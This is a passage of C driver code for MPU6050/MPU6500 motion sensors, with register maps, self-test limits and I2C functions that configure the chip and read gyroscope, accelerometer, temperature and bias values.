lpf; unsigned char clk_src; /* Sample rate, NOT rate divider. */ unsigned short sample_rate; /* Matches fifo_en register. */ unsigned char fifo_enable; /* Matches int enable register. */ unsigned char int_enable; /* 1 if devices on auxiliary I2C bus appear on the primary. */ unsigned char bypass_mode; /* 1 if half-sensitivity. * NOTE: This doesn't belong here, but everything else in hw_s is const, * and this allows us to save some precious RAM. */ unsigned char accel_half; /* 1 if device in low-power accel-only mode. */ unsigned char lp_accel_mode; /* 1 if interrupts are only triggered on motion events. */ unsigned char int_motion_only; struct motion_int_cache_s cache; /* 1 for active low interrupts. */ unsigned char active_low_int; /* 1 for latched interrupts. */ unsigned char latched_int; /* 1 if DMP is enabled. */ unsigned char dmp_on; /* Ensures that DMP will only be loaded once. */ unsigned char dmp_loaded; /* Sampling rate used when DMP is enabled. */ unsigned short dmp_sample_rate; #ifdef AK89xx_SECONDARY /* Compass sample rate. */ unsigned short compass_sample_rate; unsigned char compass_addr; short mag_sens_adj[3]; #endif }; /* Information for self-test. */ struct test_s { unsigned long gyro_sens; unsigned long accel_sens; unsigned char reg_rate_div; unsigned char reg_lpf; unsigned char reg_gyro_fsr; unsigned char reg_accel_fsr; unsigned short wait_ms; unsigned char packet_thresh; float min_dps; float max_dps; float max_gyro_var; float min_g; float max_g; float max_accel_var; #ifdef MPU6500 float max_g_offset; unsigned short sample_wait_ms; #endif }; /* Gyro driver state variables. */ struct gyro_state_s { const struct gyro_reg_s *reg; const struct hw_s *hw; struct chip_cfg_s chip_cfg; const struct test_s *test; }; /* Filter configurations. */ enum lpf_e { INV_FILTER_256HZ_NOLPF2 = 0, INV_FILTER_188HZ, INV_FILTER_98HZ, INV_FILTER_42HZ, INV_FILTER_20HZ, INV_FILTER_10HZ, INV_FILTER_5HZ, INV_FILTER_2100HZ_NOLPF, NUM_FILTER }; /* Full scale ranges. */ enum gyro_fsr_e { INV_FSR_250DPS = 0, INV_FSR_500DPS, INV_FSR_1000DPS, INV_FSR_2000DPS, NUM_GYRO_FSR }; /* Full scale ranges. */ enum accel_fsr_e { INV_FSR_2G = 0, INV_FSR_4G, INV_FSR_8G, INV_FSR_16G, NUM_ACCEL_FSR }; /* Clock sources. */ enum clock_sel_e { INV_CLK_INTERNAL = 0, INV_CLK_PLL, NUM_CLK }; /* Low-power accel wakeup rates. */ enum lp_accel_rate_e { #if defined MPU6050 INV_LPA_1_25HZ, INV_LPA_5HZ, INV_LPA_20HZ, INV_LPA_40HZ #elif defined MPU6500 INV_LPA_0_3125HZ, INV_LPA_0_625HZ, INV_LPA_1_25HZ, INV_LPA_2_5HZ, INV_LPA_5HZ, INV_LPA_10HZ, INV_LPA_20HZ, INV_LPA_40HZ, INV_LPA_80HZ, INV_LPA_160HZ, INV_LPA_320HZ, INV_LPA_640HZ #endif }; #define BIT_I2C_MST_VDDIO (0x80) #define BIT_FIFO_EN (0x40) #define BIT_DMP_EN (0x80) #define BIT_FIFO_RST (0x04) #define BIT_DMP_RST (0x08) #define BIT_FIFO_OVERFLOW (0x10) #define BIT_DATA_RDY_EN (0x01) #define BIT_DMP_INT_EN (0x02) #define BIT_MOT_INT_EN (0x40) #define BITS_FSR (0x18) #define BITS_LPF (0x07) #define BITS_HPF (0x07) #define BITS_CLK (0x07) #define BIT_FIFO_SIZE_1024 (0x40) #define BIT_FIFO_SIZE_2048 (0x80) #define BIT_FIFO_SIZE_4096 (0xC0) #define BIT_RESET (0x80) #define BIT_SLEEP (0x40) #define BIT_S0_DELAY_EN (0x01) #define BIT_S2_DELAY_EN (0x04) #define BITS_SLAVE_LENGTH (0x0F) #define BIT_SLAVE_BYTE_SW (0x40) #define BIT_SLAVE_GROUP (0x10) #define BIT_SLAVE_EN (0x80) #define BIT_I2C_READ (0x80) #define BITS_I2C_MASTER_DLY (0x1F) #define BIT_AUX_IF_EN (0x20) #define BIT_ACTL (0x80) #define BIT_LATCH_EN (0x20) #define BIT_ANY_RD_CLR (0x10) #define BIT_BYPASS_EN (0x02) #define BITS_WOM_EN (0xC0) #define BIT_LPA_CYCLE (0x20) #define BIT_STBY_XA (0x20) #define BIT_STBY_YA (0x10) #define BIT_STBY_ZA (0x08) #define BIT_STBY_XG (0x04) #define BIT_STBY_YG (0x02) #define BIT_STBY_ZG (0x01) #define BIT_STBY_XYZA (BIT_STBY_XA | BIT_STBY_YA | BIT_STBY_ZA) #define BIT_STBY_XYZG (BIT_STBY_XG | BIT_STBY_YG | BIT_STBY_ZG) #if defined AK8975_SECONDARY #define SUPPORTS_AK89xx_HIGH_SENS (0x00) #define AK89xx_FSR (9830) #elif defined AK8963_SECONDARY #define SUPPORTS_AK89xx_HIGH_SENS (0x10) #define AK89xx_FSR (4915) #endif #ifdef AK89xx_SECONDARY #define AKM_REG_WHOAMI (0x00) #define AKM_REG_ST1 (0x02) #define AKM_REG_HXL (0x03) #define AKM_REG_ST2 (0x09) #define AKM_REG_CNTL (0x0A) #define AKM_REG_ASTC (0x0C) #define AKM_REG_ASAX (0x10) #define AKM_REG_ASAY (0x11) #define AKM_REG_ASAZ (0x12) #define AKM_DATA_READY (0x01) #define AKM_DATA_OVERRUN (0x02) #define AKM_OVERFLOW (0x80) #define AKM_DATA_ERROR (0x40) #define AKM_BIT_SELF_TEST (0x40) #define AKM_POWER_DOWN (0x00 | SUPPORTS_AK89xx_HIGH_SENS) #define AKM_SINGLE_MEASUREMENT (0x01 | SUPPORTS_AK89xx_HIGH_SENS) #define AKM_FUSE_ROM_ACCESS (0x0F | SUPPORTS_AK89xx_HIGH_SENS) #define AKM_MODE_SELF_TEST (0x08 | SUPPORTS_AK89xx_HIGH_SENS) #define AKM_WHOAMI (0x48) #endif #if defined MPU6050 const struct gyro_reg_s reg = { .who_am_i = 0x75, .rate_div = 0x19, .lpf = 0x1A, .prod_id = 0x0C, .user_ctrl = 0x6A, .fifo_en = 0x23, .gyro_cfg = 0x1B, .accel_cfg = 0x1C, .motion_thr = 0x1F, .motion_dur = 0x20, .fifo_count_h = 0x72, .fifo_r_w = 0x74, .raw_gyro = 0x43, .raw_accel = 0x3B, .temp = 0x41, .int_enable = 0x38, .dmp_int_status = 0x39, .int_status = 0x3A, .pwr_mgmt_1 = 0x6B, .pwr_mgmt_2 = 0x6C, .int_pin_cfg = 0x37, .mem_r_w = 0x6F, .accel_offs = 0x06, .i2c_mst = 0x24, .bank_sel = 0x6D, .mem_start_addr = 0x6E, .prgm_start_h = 0x70 #ifdef AK89xx_SECONDARY ,.raw_compass = 0x49, .yg_offs_tc = 0x01, .s0_addr = 0x25, .s0_reg = 0x26, .s0_ctrl = 0x27, .s1_addr = 0x28, .s1_reg = 0x29, .s1_ctrl = 0x2A, .s4_ctrl = 0x34, .s0_do = 0x63, .s1_do = 0x64, .i2c_delay_ctrl = 0x67 #endif }; const struct hw_s hw = { .addr = 0x68, .max_fifo = 1024, .num_reg = 118, .temp_sens = 340, .temp_offset = -521, .bank_size = 256 #if defined AK89xx_SECONDARY ,.compass_fsr = AK89xx_FSR #endif }; const struct test_s test = { .gyro_sens = 32768/250, .accel_sens = 32768/16, .reg_rate_div = 0, /* 1kHz. */ .reg_lpf = 1, /* 188Hz. */ .reg_gyro_fsr = 0, /* 250dps. */ .reg_accel_fsr = 0x18, /* 16g. */ .wait_ms = 50, .packet_thresh = 5, /* 5% */ .min_dps = 10.f, .max_dps = 105.f, .max_gyro_var = 0.14f, .min_g = 0.3f, .max_g = 0.95f, .max_accel_var = 0.14f }; static struct gyro_state_s st = { .reg = &reg, .hw = &hw, .test = &test }; #elif defined MPU6500 const struct gyro_reg_s reg = { .who_am_i = 0x75, .rate_div = 0x19, .lpf = 0x1A, .prod_id = 0x0C, .user_ctrl = 0x6A, .fifo_en = 0x23, .gyro_cfg = 0x1B, .accel_cfg = 0x1C, .accel_cfg2 = 0x1D, .lp_accel_odr = 0x1E, .motion_thr = 0x1F, .motion_dur = 0x20, .fifo_count_h = 0x72, .fifo_r_w = 0x74, .raw_gyro = 0x43, .raw_accel = 0x3B, .temp = 0x41, .int_enable = 0x38, .dmp_int_status = 0x39, .int_status = 0x3A, .accel_intel = 0x69, .pwr_mgmt_1 = 0x6B, .pwr_mgmt_2 = 0x6C, .int_pin_cfg = 0x37, .mem_r_w = 0x6F, .accel_offs = 0x77, .i2c_mst = 0x24, .bank_sel = 0x6D, .mem_start_addr = 0x6E, .prgm_start_h = 0x70 #ifdef AK89xx_SECONDARY ,.raw_compass = 0x49, .s0_addr = 0x25, .s0_reg = 0x26, .s0_ctrl = 0x27, .s1_addr = 0x28, .s1_reg = 0x29, .s1_ctrl = 0x2A, .s4_ctrl = 0x34, .s0_do = 0x63, .s1_do = 0x64, .i2c_delay_ctrl = 0x67 #endif }; const struct hw_s hw = { .addr = 0x68, .max_fifo = 1024, .num_reg = 128, .temp_sens = 321, .temp_offset = 0, .bank_size = 256 #if defined AK89xx_SECONDARY ,.compass_fsr = AK89xx_FSR #endif }; const struct test_s test = { .gyro_sens = 32768/250, .accel_sens = 32768/2, //FSR = +-2G = 16384 LSB/G .reg_rate_div = 0, /* 1kHz. */ .reg_lpf = 2, /* 92Hz low pass filter*/ .reg_gyro_fsr = 0, /* 250dps. */ .reg_accel_fsr = 0x0, /* Accel FSR setting = 2g. */ .wait_ms = 200, //200ms stabilization time .packet_thresh = 200, /* 200 samples */ .min_dps = 20.f, //20 dps for Gyro Criteria C .max_dps = 60.f, //Must exceed 60 dps threshold for Gyro Criteria B .max_gyro_var = .5f, //Must exceed +50% variation for Gyro Criteria A .min_g = .225f, //Accel must exceed Min 225 mg for Criteria B .max_g = .675f, //Accel cannot exceed Max 675 mg for Criteria B .max_accel_var = .5f, //Accel must be within 50% variation for Criteria A .max_g_offset = .5f, //500 mg for Accel Criteria C .sample_wait_ms = 10 //10ms sample time wait }; static struct gyro_state_s st = { .reg = &reg, .hw = &hw, .test = &test }; #endif #define MAX_PACKET_LENGTH (12) #ifdef MPU6500 #define HWST_MAX_PACKET_LENGTH (512) //#define HWST_MAX_PACKET_LENGTH (100) #endif #ifdef AK89xx_SECONDARY static int setup_compass(void); #define MAX_COMPASS_SAMPLE_RATE (100) #endif /** * @brief Enable/disable data ready interrupt. * If the DMP is on, the DMP interrupt is enabled. Otherwise, the data ready * interrupt is used. * @param[in] enable 1 to enable interrupt. * @return 0 if successful. */ int set_int_enable(unsigned char enable) { unsigned char tmp; if (st.chip_cfg.dmp_on) { if (enable) tmp = BIT_DMP_INT_EN; else tmp = 0x00; if (i2c_write(st.hw->addr, st.reg->int_enable, 1, &tmp)) return -1; st.chip_cfg.int_enable = tmp; } else { if (!st.chip_cfg.sensors) return -1; if (enable && st.chip_cfg.int_enable) return 0; if (enable) tmp = BIT_DATA_RDY_EN; else tmp = 0x00; if (i2c_write(st.hw->addr, st.reg->int_enable, 1, &tmp)) return -1; st.chip_cfg.int_enable = tmp; } return 0; } /** * @brief Register dump for testing. * @return 0 if successful. */ int mpu_reg_dump(void) { unsigned char ii; unsigned char data; for (ii = 0; ii < st.hw->num_reg; ii++) { if (ii == st.reg->fifo_r_w || ii == st.reg->mem_r_w) continue; if (i2c_read(st.hw->addr, ii, 1, &data)) return -1; log_i("%#5x: %#5x\r\n", ii, data); } return 0; } /** * @brief Read from a single register. * NOTE: The memory and FIFO read/write registers cannot be accessed. * @param[in] reg Register address. * @param[out] data Register data. * @return 0 if successful. */ int mpu_read_reg(unsigned char reg, unsigned char *data) { if (reg == st.reg->fifo_r_w || reg == st.reg->mem_r_w) return -1; if (reg >= st.hw->num_reg) return -1; return i2c_read(st.hw->addr, reg, 1, data); } /** * @brief Initialize hardware. * Initial configuration:\n * Gyro FSR: +/- 2000DPS\n * Accel FSR +/- 2G\n * DLPF: 42Hz\n * FIFO rate: 50Hz\n * Clock source: Gyro PLL\n * FIFO: Disabled.\n * Data ready interrupt: Disabled, active low, unlatched. * @param[in] int_param Platform-specific parameters to interrupt API. * @return 0 if successful. */ int mpu_init(struct int_param_s *int_param) { unsigned char data[6]; /* Reset device. */ data[0] = BIT_RESET; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_1, 1, data)) return -1; delay_ms(100); /* Wake up chip. */ data[0] = 0x00; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_1, 1, data)) return -1; st.chip_cfg.accel_half = 0; #ifdef MPU6500 /* MPU6500 shares 4kB of memory between the DMP and the FIFO. Since the * first 3kB are needed by the DMP, we'll use the last 1kB for the FIFO. */ data[0] = BIT_FIFO_SIZE_1024 | 0x8; if (i2c_write(st.hw->addr, st.reg->accel_cfg2, 1, data)) return -1; #endif /* Set to invalid values to ensure no I2C writes are skipped. */ st.chip_cfg.sensors = 0xFF; st.chip_cfg.gyro_fsr = 0xFF; st.chip_cfg.accel_fsr = 0xFF; st.chip_cfg.lpf = 0xFF; st.chip_cfg.sample_rate = 0xFFFF; st.chip_cfg.fifo_enable = 0xFF; st.chip_cfg.bypass_mode = 0xFF; #ifdef AK89xx_SECONDARY st.chip_cfg.compass_sample_rate = 0xFFFF; #endif /* mpu_set_sensors always preserves this setting. */ st.chip_cfg.clk_src = INV_CLK_PLL; /* Handled in next call to mpu_set_bypass. */ st.chip_cfg.active_low_int = 1; st.chip_cfg.latched_int = 0; st.chip_cfg.int_motion_only = 0; st.chip_cfg.lp_accel_mode = 0; memset(&st.chip_cfg.cache, 0, sizeof(st.chip_cfg.cache)); st.chip_cfg.dmp_on = 0; st.chip_cfg.dmp_loaded = 0; st.chip_cfg.dmp_sample_rate = 0; if (mpu_set_gyro_fsr(2000)) return -1; if (mpu_set_accel_fsr(2)) return -1; if (mpu_set_lpf(42)) return -1; if (mpu_set_sample_rate(50)) return -1; if (mpu_configure_fifo(0)) return -1; #ifndef EMPL_TARGET_STM32F4 if (int_param) reg_int_cb(int_param); #endif #ifdef AK89xx_SECONDARY setup_compass(); if (mpu_set_compass_sample_rate(10)) return -1; #else /* Already disabled by setup_compass. */ if (mpu_set_bypass(0)) return -1; #endif mpu_set_sensors(0); return 0; } /** * @brief Enter low-power accel-only mode. * In low-power accel mode, the chip goes to sleep and only wakes up to sample * the accelerometer at one of the following frequencies: * \n MPU6050: 1.25Hz, 5Hz, 20Hz, 40Hz * \n MPU6500: 1.25Hz, 2.5Hz, 5Hz, 10Hz, 20Hz, 40Hz, 80Hz, 160Hz, 320Hz, 640Hz * \n If the requested rate is not one listed above, the device will be set to * the next highest rate. Requesting a rate above the maximum supported * frequency will result in an error. * \n To select a fractional wake-up frequency, round down the value passed to * @e rate. * @param[in] rate Minimum sampling rate, or zero to disable LP * accel mode. * @return 0 if successful. */ int mpu_lp_accel_mode(unsigned short rate) { unsigned char tmp[2]; if (rate > 40) return -1; if (!rate) { mpu_set_int_latched(0); tmp[0] = 0; tmp[1] = BIT_STBY_XYZG; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_1, 2, tmp)) return -1; st.chip_cfg.lp_accel_mode = 0; return 0; } /* For LP accel, we automatically configure the hardware to produce latched * interrupts. In LP accel mode, the hardware cycles into sleep mode before * it gets a chance to deassert the interrupt pin; therefore, we shift this * responsibility over to the MCU. * * Any register read will clear the interrupt. */ mpu_set_int_latched(1); #if defined MPU6050 tmp[0] = BIT_LPA_CYCLE; if (rate == 1) { tmp[1] = INV_LPA_1_25HZ; mpu_set_lpf(5); } else if (rate <= 5) { tmp[1] = INV_LPA_5HZ; mpu_set_lpf(5); } else if (rate <= 20) { tmp[1] = INV_LPA_20HZ; mpu_set_lpf(10); } else { tmp[1] = INV_LPA_40HZ; mpu_set_lpf(20); } tmp[1] = (tmp[1] << 6) | BIT_STBY_XYZG; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_1, 2, tmp)) return -1; #elif defined MPU6500 /* Set wake frequency. */ if (rate == 1) tmp[0] = INV_LPA_1_25HZ; else if (rate == 2) tmp[0] = INV_LPA_2_5HZ; else if (rate <= 5) tmp[0] = INV_LPA_5HZ; else if (rate <= 10) tmp[0] = INV_LPA_10HZ; else if (rate <= 20) tmp[0] = INV_LPA_20HZ; else if (rate <= 40) tmp[0] = INV_LPA_40HZ; else if (rate <= 80) tmp[0] = INV_LPA_80HZ; else if (rate <= 160) tmp[0] = INV_LPA_160HZ; else if (rate <= 320) tmp[0] = INV_LPA_320HZ; else tmp[0] = INV_LPA_640HZ; if (i2c_write(st.hw->addr, st.reg->lp_accel_odr, 1, tmp)) return -1; tmp[0] = BIT_LPA_CYCLE; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_1, 1, tmp)) return -1; #endif st.chip_cfg.sensors = INV_XYZ_ACCEL; st.chip_cfg.clk_src = 0; st.chip_cfg.lp_accel_mode = 1; mpu_configure_fifo(0); return 0; } /** * @brief Read raw gyro data directly from the registers. * @param[out] data Raw data in hardware units. * @param[out] timestamp Timestamp in milliseconds. Null if not needed. * @return 0 if successful. */ int mpu_get_gyro_reg(short *data, unsigned long *timestamp) { unsigned char tmp[6]; if (!(st.chip_cfg.sensors & INV_XYZ_GYRO)) return -1; if (i2c_read(st.hw->addr, st.reg->raw_gyro, 6, tmp)) return -1; data[0] = (tmp[0] << 8) | tmp[1]; data[1] = (tmp[2] << 8) | tmp[3]; data[2] = (tmp[4] << 8) | tmp[5]; if (timestamp) get_ms(timestamp); return 0; } /** * @brief Read raw accel data directly from the registers. * @param[out] data Raw data in hardware units. * @param[out] timestamp Timestamp in milliseconds. Null if not needed. * @return 0 if successful. */ int mpu_get_accel_reg(short *data, unsigned long *timestamp) { unsigned char tmp[6]; if (!(st.chip_cfg.sensors & INV_XYZ_ACCEL)) return -1; if (i2c_read(st.hw->addr, st.reg->raw_accel, 6, tmp)) return -1; data[0] = (tmp[0] << 8) | tmp[1]; data[1] = (tmp[2] << 8) | tmp[3]; data[2] = (tmp[4] << 8) | tmp[5]; if (timestamp) get_ms(timestamp); return 0; } /** * @brief Read temperature data directly from the registers. * @param[out] data Data in q16 format. * @param[out] timestamp Timestamp in milliseconds. Null if not needed. * @return 0 if successful. */ int mpu_get_temperature(long *data, unsigned long *timestamp) { unsigned char tmp[2]; short raw; if (!(st.chip_cfg.sensors)) return -1; if (i2c_read(st.hw->addr, st.reg->temp, 2, tmp)) return -1; raw = (tmp[0] << 8) | tmp[1]; if (timestamp) get_ms(timestamp); data[0] = (long)((35 + ((raw - (float)st.hw->temp_offset) / st.hw->temp_sens)) * 65536L); return 0; } /** * @brief Read biases to the accel bias 6500 registers. * This function reads from the MPU6500 accel offset cancellations registers. * The format are G in +-8G format. The register is initialized with OTP * factory trim values. * @param[in] accel_bias returned structure with the accel bias * @return 0 if successful. */ int mpu_read_6500_accel_bias(long *accel_bias) { unsigned char data[6]; if (i2c_read(st.hw->addr, 0x77, 2, &data[0])) return -1; if (i2c_read(st.hw->addr, 0x7A, 2, &data[2])) return -1; if (i2c_read(st.hw->addr, 0x7D, 2, &data[4])) return -1; accel_bias[0] = ((long)data[0]<<8) | data[1]; accel_bias[1] = ((long)data[2]<<8) | data[3]; accel_bias[2] = ((long)data[4]<<8) | data[5]; return 0; } /** * @brief Read biases to the accel bias 6050 registers. * This function reads from the MPU6050 accel offset cancellations registers. * The format are G in +-8G format. The register is initialized with OTP * factory trim values. * @param[in] accel_bias returned structure with the accel bias * @return 0 if successful. */ int mpu_read_6050_accel_bias(long *accel_bias) { unsigned char data[6]; if (i2c_read(st.hw->addr, 0x06, 2, &data[0])) return -1; if (i2c_read(st.hw->addr, 0x08, 2, &data[2])) return -1; if (i2c_read(st.hw->addr, 0x0A, 2, &data[4])) return -1; accel_bias[0] = ((long)data[0]<<8) | data[1]; accel_bias[1] = ((long)data[2]<<8) | data[3]; accel_bias[2] = ((long)data[4]<<8) | data[5]; return 0; } int mpu_read_6500_gyro_bias(long *gyro_bias) { unsigned char data[6]; if (i2c_read(st.hw->addr, 0x13, 2, &data[0])) return -1; if (i2c_read(st.hw->addr, 0x15, 2, &data[2])) return -1; if (i2c_read(st.hw->addr, 0x17, 2, &data[4])) return -1; gyro_bias[0] = ((long)data[0]<<8) | data[1]; gyro_bias[1] = ((long)data[2]<<8) | data[3]; gyro_bias[2] = ((long)data[4]<<8) | data[5]; return 0; } /** * @brief Push biases to the gyro bias 6500/6050 registers. * This function expects biases relative to the current sensor output, and * these biases will be added to the factory-supplied values. Bias inputs are LSB * in +-1000dps format. * @param[in] gyro_bias New biases. * @return 0 if successful. */ int mpu_set_gyro_bias_reg(long *gyro_bias) { unsigned char data[6] = {0, 0, 0, 0, 0, 0}; int i=0; for(i=0;i<3;i++) { gyro_bias[i]= (-gyro_bias[i]); } data[0] = (gyro_bias[0] >> 8) & 0xff; data[1] = (gyro_bias[0]) & 0xff; data[2] = (gyro_bias[1] >> 8) & 0xff; data[3] = (gyro_bias[1]) & 0xff; data[4] = (gyro_bias[2] >> 8) & 0xff; data[5] = (gyro_bias[2]) & 0xff; if (i2c_write(st.hw->addr, 0x13, 2, &data[0])) return -1; if (i2c_write(st.hw->addr, 0x15, 2, &data[2])) return -1; if (i2c_write(st.hw->addr, 0x17, 2, &data[4])) return -1; return 0; } /** * @brief Push biases to the accel bias 6050 registers. * This function expects biases relative to the current sensor output, and * these biases will be added to the factory-supplied values. Bias inputs are LSB * in +-16G format. * @param[in] accel_bias New biases. * @return 0 if successful. */ int mpu_set_accel_bias_6050_reg(const long *accel_bias) { unsigned char data[6] = {0, 0, 0, 0, 0, 0}; long accel_reg_bias[3] = {0, 0, 0}; if(mpu_read_6050_accel_bias(accel_reg_bias)) return -1; accel_reg_bias[0] -= (accel_bias[0] & ~1); accel_reg_bias[1] -= (accel_bias[1] & ~1); accel_reg_bias[2] -= (accel_bias[2] & ~1); data[0] = (accel_reg_bias[0] >> 8) & 0xff; data[1] = (accel_reg_bias[0]) & 0xff; data[2] = (accel_reg_bias[1] >> 8) & 0xff; data[3] = (accel_reg_bias[1]) & 0xff; data[4] = (accel_reg_bias[2] >> 8) & 0xff; data[5] = (accel_reg_bias[2]) & 0xff; if (i2c_write(st.hw->addr, 0x06, 2, &data[0])) return -1; if (i2c_write(st.hw->addr, 0x08, 2, &data[2])) return -1; if (i2c_write(st.hw->addr, 0x0A, 2, &data[4])) return -1; return 0; } /** * @brief Push biases to the accel bias 6500 registers. * This function expects biases relative to the current sensor output, and * these biases will be added to the factory-supplied values. Bias inputs are LSB * in +-16G format. * @param[in] accel_bias New biases. * @return 0 if successful. */ int mpu_set_accel_bias_6500_reg(const long *accel_bias) { unsigned char data[6] = {0, 0, 0, 0, 0, 0}; long accel_reg_bias[3] = {0, 0, 0}; if(mpu_read_6500_accel_bias(accel_reg_bias)) return -1; // Preserve bit 0 of factory value (for temperature compensation) accel_reg_bias[0] -= (accel_bias[0] & ~1); accel_reg_bias[1] -= (accel_bias[1] & ~1); accel_reg_bias[2] -= (accel_bias[2] & ~1); data[0] = (accel_reg_bias[0] >> 8) & 0xff; data[1] = (accel_reg_bias[0]) & 0xff; data[2] = (accel_reg_bias[1] >> 8) & 0xff; data[3] = (accel_reg_bias[1]) & 0xff; data[4] = (accel_reg_bias[2] >> 8) & 0xff; data[5] = (accel_reg_bias[2]) & 0xff; if (i2c_write(st.hw->addr, 0x77, 2, &data[0])) return -1; if (i2c_write(st.hw->addr, 0x7A, 2, &data[2])) return -1; if (i2c_write(st.hw->addr, 0x7D, 2, &data[4])) return -1; return 0; } /** * @brief Reset FIFO read/write pointers. * @return 0 if successful. */ int mpu_reset_fifo(void) { unsigned char data; if (!(st.chip_cfg.sensors)) return -1; data = 0; if (i2c_write(st.hw->addr, st.reg->int_enable, 1, &data)) return -1; if (i2c_write(st.hw->addr, st.reg->fifo_en, 1, &data)) return -1; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, &data)) return -1; if (st.chip_cfg.dmp_on) { data = BIT_FIFO_RST | BIT_DMP_RST; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, &data)) return -1; delay_ms(50); data = BIT_DMP_EN | BIT_FIFO_EN; if (st.chip_cfg.sensors & INV_XYZ_COMPASS) data |= BIT_AUX_IF_EN; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, &data)) return -1; if (st.chip_cfg.int_enable) data = BIT_DMP_INT_EN; else data = 0; if (i2c_write(st.hw->addr, st.reg->int_enable, 1, &data)) return -1; data = 0; if (i2c_write(st.hw->addr, st.reg->fifo_en, 1, &data)) return -1; } else { data = BIT_FIFO_RST; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, &data)) return -1; if (st.chip_cfg.bypass_mode || !(st.chip_cfg.sensors & INV_XYZ_COMPASS)) data = BIT_FIFO_EN; else data = BIT_FIFO_EN | BIT_AUX_IF_EN; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, &data)) return -1; delay_ms(50); if (st.chip_cfg.int_enable) data = BIT_DATA_RDY_EN; else data = 0; if (i2c_write(st.hw->addr, st.reg->int_enable, 1, &data)) return -1; if (i2c_write(st.hw->addr, st.reg->fifo_en, 1, &st.chip_cfg.fifo_enable)) return -1; } return 0; } /** * @brief Get the gyro full-scale range. * @param[out] fsr Current full-scale range. * @return 0 if successful. */ int mpu_get_gyro_fsr(unsigned short *fsr) { switch (st.chip_cfg.gyro_fsr) { case INV_FSR_250DPS: fsr[0] = 250; break; case INV_FSR_500DPS: fsr[0] = 500; break; case INV_FSR_1000DPS: fsr[0] = 1000; break; case INV_FSR_2000DPS: fsr[0] = 2000; break; default: fsr[0] = 0; break; } return 0; } /** * @brief Set the gyro full-scale range. * @param[in] fsr Desired full-scale range. * @return 0 if successful. */ int mpu_set_gyro_fsr(unsigned short fsr) { unsigned char data; if (!(st.chip_cfg.sensors)) return -1; switch (fsr) { case 250: data = INV_FSR_250DPS << 3; break; case 500: data = INV_FSR_500DPS << 3; break; case 1000: data = INV_FSR_1000DPS << 3; break; case 2000: data = INV_FSR_2000DPS << 3; break; default: return -1; } if (st.chip_cfg.gyro_fsr == (data >> 3)) return 0; if (i2c_write(st.hw->addr, st.reg->gyro_cfg, 1, &data)) return -1; st.chip_cfg.gyro_fsr = data >> 3; return 0; } /** * @brief Get the accel full-scale range. * @param[out] fsr Current full-scale range. * @return 0 if successful. */ int mpu_get_accel_fsr(unsigned char *fsr) { switch (st.chip_cfg.accel_fsr) { case INV_FSR_2G: fsr[0] = 2; break; case INV_FSR_4G: fsr[0] = 4; break; case INV_FSR_8G: fsr[0] = 8; break; case INV_FSR_16G: fsr[0] = 16; break; default: return -1; } if (st.chip_cfg.accel_half) fsr[0] <<= 1; return 0; } /** * @brief Set the accel full-scale range. * @param[in] fsr Desired full-scale range. * @return 0 if successful. */ int mpu_set_accel_fsr(unsigned char fsr) { unsigned char data; if (!(st.chip_cfg.sensors)) return -1; switch (fsr) { case 2: data = INV_FSR_2G << 3; break; case 4: data = INV_FSR_4G << 3; break; case 8: data = INV_FSR_8G << 3; break; case 16: data = INV_FSR_16G << 3; break; default: return -1; } if (st.chip_cfg.accel_fsr == (data >> 3)) return 0; if (i2c_write(st.hw->addr, st.reg->accel_cfg, 1, &data)) return -1; st.chip_cfg.accel_fsr = data >> 3; return 0; } /** * @brief Get the current DLPF setting. * @param[out] lpf Current LPF setting. * 0 if successful. */ int mpu_get_lpf(unsigned short *lpf) { switch (st.chip_cfg.lpf) { case INV_FILTER_188HZ: lpf[0] = 188; break; case INV_FILTER_98HZ: lpf[0] = 98; break; case INV_FILTER_42HZ: lpf[0] = 42; break; case INV_FILTER_20HZ: lpf[0] = 20; break; case INV_FILTER_10HZ: lpf[0] = 10; break; case INV_FILTER_5HZ: lpf[0] = 5; break; case INV_FILTER_256HZ_NOLPF2: case INV_FILTER_2100HZ_NOLPF: default: lpf[0] = 0; break; } return 0; } /** * @brief Set digital low pass filter. * The following LPF settings are supported: 188, 98, 42, 20, 10, 5. * @param[in] lpf Desired LPF setting. * @return 0 if successful. */ int mpu_set_lpf(unsigned short lpf) { unsigned char data; if (!(st.chip_cfg.sensors)) return -1; if (lpf >= 188) data = INV_FILTER_188HZ; else if (lpf >= 98) data = INV_FILTER_98HZ; else if (lpf >= 42) data = INV_FILTER_42HZ; else if (lpf >= 20) data = INV_FILTER_20HZ; else if (lpf >= 10) data = INV_FILTER_10HZ; else data = INV_FILTER_5HZ; if (st.chip_cfg.lpf == data) return 0; if (i2c_write(st.hw->addr, st.reg->lpf, 1, &data)) return -1; st.chip_cfg.lpf = data; return 0; } /** * @brief Get sampling rate. * @param[out] rate Current sampling rate (Hz). * @return 0 if successful. */ int mpu_get_sample_rate(unsigned short *rate) { if (st.chip_cfg.dmp_on) return -1; else rate[0] = st.chip_cfg.sample_rate; return 0; } /** * @brief Set sampling rate. * Sampling rate must be between 4Hz and 1kHz. * @param[in] rate Desired sampling rate (Hz). * @return 0 if successful. */ int mpu_set_sample_rate(unsigned short rate) { unsigned char data; if (!(st.chip_cfg.sensors)) return -1; if (st.chip_cfg.dmp_on) return -1; else { if (st.chip_cfg.lp_accel_mode) { if (rate && (rate <= 40)) { /* Just stay in low-power accel mode. */ mpu_lp_accel_mode(rate); return 0; } /* Requested rate exceeds the allowed frequencies in LP accel mode, * switch back to full-power mode. */ mpu_lp_accel_mode(0); } if (rate < 4) rate = 4; else if (rate > 1000) rate = 1000; data = 1000 / rate - 1; if (i2c_write(st.hw->addr, st.reg->rate_div, 1, &data)) return -1; st.chip_cfg.sample_rate = 1000 / (1 + data); #ifdef AK89xx_SECONDARY mpu_set_compass_sample_rate(min(st.chip_cfg.compass_sample_rate, MAX_COMPASS_SAMPLE_RATE)); #endif /* Automatically set LPF to 1/2 sampling rate. */ mpu_set_lpf(st.chip_cfg.sample_rate >> 1); return 0; } } /** * @brief Get compass sampling rate. * @param[out] rate Current compass sampling rate (Hz). * @return 0 if successful. */ int mpu_get_compass_sample_rate(unsigned short 